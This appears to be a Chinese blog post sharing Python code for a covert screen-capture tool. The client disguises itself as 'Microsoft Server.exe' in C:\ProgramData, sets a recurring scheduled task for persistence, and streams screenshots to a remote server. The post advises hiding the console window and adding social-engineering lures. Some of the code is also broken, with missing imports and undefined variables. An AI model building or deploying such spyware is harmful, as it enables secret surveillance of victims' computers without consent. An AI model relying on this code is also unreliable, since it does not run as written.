基于socket实现远程屏幕可视脚本

相关的库主要有socket，mss，pillow，numpy，opencv

前言

该脚本主要功能是实现一台主机(拥有公网IP)对其他主机的屏幕可视功能，该脚本执行后会复制自身到指定位置，并写入windows计划任务每日执行

服务端实现

import socket
import cv2
import numpy as np


def receive_data(sock):
    #接收数据的长度
    data_length = int.from_bytes(sock.recv(4),'big')
    #接收数据
    data = b''
    while len(data)<data_length:
        packet = sock.recv(data_length - len(data))
        if not packet:
            return None
        data += packet
    return data


def connect():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    host = '10.0.241.58'
    port = 9191
    s.bind((host,port))
    s.listen(5)
    print("server is listening on %s %s"%(host,port))
    while True:
        c,addr=s.accept()
        print("%s is connecting"%str(addr))
        try:
            while True:
                data = receive_data(c)
                if not data:
                    break
                nparr= np.frombuffer(data,np.uint8)
                #cV2对图片进行解析
                img_np = cv2.imdecode(nparr,cv2.IMREAD_COLOR)
                if img_np is not None:
                    cv2.imshow("screen",img_np)
                    if cv2.waitKey(1) & 0xFF == ord("g"):
                        break
        except ConnectionResetError:
            c.close()
    cv2.destroyAllWindows()


if __name__ == "__main__":
    connect()

客户端实现

import socket
from mss import mss
import mss.tools
from PIL import Image
import io
import os
import shutil


def copy_current_file(destination_folder, reset_name):
    try:
        # 获取当前脚本文件的路径
        current_file_path1 = os.path.abspath(__file__)
        # 确保目标文件夹存在
        os.makedirs(destination_folder, exist_ok=True)

        # 生成目标文件的路径
        destination_path = os.path.join(destination_folder, os.path.basename(current_file_path1))

        # 复制文件
        shutil.copy2(current_file_path1, destination_path)

        # 重命名
        name = "\\" + reset_name
        final_file_name = destination_folder + name
        os.rename(destination_path, final_file_name)

        print(f"文件已成功复制到: {destination_path}")
    except Exception as e:
        print(f"发生错误: {e}")

def task():
    # 连接计划任务服务
    scheduler = win32com.client.Dispatch('Schedule.Service')
    scheduler.Connect()

    # 创建任务对象
    # 获取任务定义的文件夹
    root_folder = scheduler.GetFolder('\\')
    # 创建对象 flags参数为0 固定
    task_def = scheduler.NewTask(0)

    TASK_ACTION_EXEC = 0
    action = task_def.Actions.Create(TASK_ACTION_EXEC)
    action.ID = 'TEST'
    # 脚本只需 设置Path 为脚本绝对路径即可
    action.Path = r"D:\pytohn_project\test1\dist\client.exe"
    # action.Path = "netstat"
    # action.Arguments = "-ano"

    task_def.RegistrationInfo.Description = '定时任务描述'  # 任务描述
    task_def.RegistrationInfo.Author = "脚本创建"  # 创建者

    # 为“任务计划程序”设置任务设置信息 创建一个 TaskSettings 对象。
    task_def.Settings.Enabled = True
    # task_def.Settings.StopIfGoingOnBatteries = False
    # 超过其计划时间后的任何时间启动任务
    task_def.Settings.StartWhenAvailable = True
    task_def.Settings.Hidden = False
    # 设置 如果任务失败，按以下频率重新启动
    task_def.Settings.RestartCount = 3  # 任务计划程序尝试重启任务的次数。
    # 该值指定任务计划程序尝试重启任务的时间 必须设置 RestartCount 属性
    task_def.Settings.RestartInterval = "PT20M"

    # 指定每日触发器的常量。1:只运行一次， 2: 每日执行
    TASK_TRIGGER_TIME = 2
    # 创建一个每日触发器。
    trigger = task_def.Triggers.Create(TASK_TRIGGER_TIME)

    # 当前时间30秒后执行该任务  必要参数
    # isoformat() 转换时间格式： YYYY-MM-DDTHH:MM:SS
    trigger.StartBoundary = (datetime.now() + timedelta(seconds=30)).isoformat()
    # 获取或设置触发器停用的日期和时间。
    # trigger.EndBoundary = (datetime.now() + timedelta(minutes=5)).isoformat()
    trigger.Id = "DailyTriggerId"
    # 是否启用触发器。
    trigger.Enabled = True

    # 重复模式的时间。PnYnMnDTnHnMnS PT5M指定5分钟 如果未为持续时间指定任何值，则模式将无限期重复。
    trigger.Repetition.Interval = "PT5M"

    # 注册任务
    TASK_CREATE_OR_UPDATE = 6
    TASK_LOGON_NONE = 0
    root_folder.RegisterTaskDefinition(
        "ServerMonitor",  # 任务的名称
        task_def,  # 构建的任务（有动作数据、触发数据、描述数据等）
        TASK_CREATE_OR_UPDATE,  # 如果任务存在，则更新任务
        '',  # 用于注册任务的用户凭据
        '',  # 用于注册任务的userId的密码
        TASK_LOGON_NONE  # 未指定登录方法。
    )

def send_data(sock,data):
    # 发送长度
    data_length = len(data)
    sock.sendall(data_length.to_bytes(4,'big'))
    # 发送数据
    sock.sendall(data)

def main():
    c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    host = '10.0.241.58'
    port = 9191
    c.connect((host,port))

    while True:
        try:
            with mss.mss() as sct:
                monitor = sct.monitors[1]

                # 捕获屏幕
                sct_img = sct.grab(monitor)
                # 把屏幕内容转为png
                img_bytes = io.BytesIO()
                Image.frombytes('RGB',sct_img.size,sct_img.bgra,'raw','BGRX').save(img_bytes, format='PNG')
                # 发送给服务器
                send_data(c,img_bytes.getvalue())
        except ConnectionResetError:
            c.close()

if __name__ == '__main__':
    #设置一个旗帜文件其名为 Microsoft Log.txt
	flag_file = 'Microsoft Log.txt'
    #判断是否存在旗帜文件
    if os.path.exists(flag_file):
        #存在执行主程序
        main()
    else:
        #不存在执行复制和写入计划任务操作
        destination_folder = r'C:\ProgramData'  # 替换为你想要复制到的文件夹路径
        reset_name = "Microsoft Server.exe"
        copy_current_file(destination_folder,reset_name)
        task()
    #初次执行会写入一个旗帜文件
    flag_file_path = os.path.join(destination_folder,flag_file)
    with open(flag_file_path, 'w') as f:
        f.write('')

后记

我用了pyinstaller打包，所以重命名后缀为exe。

用pyinstaller打包要注意不要让命令行弹出，要使用 -w参数

例如pyinstaller -F -w xxx.py

打包后可加入一些社工技术，各位师傅自行发挥

小白刚起步，代码还有不完善的地方各位大佬包涵和指正，后续可加入开机自启动和写入服务等功能。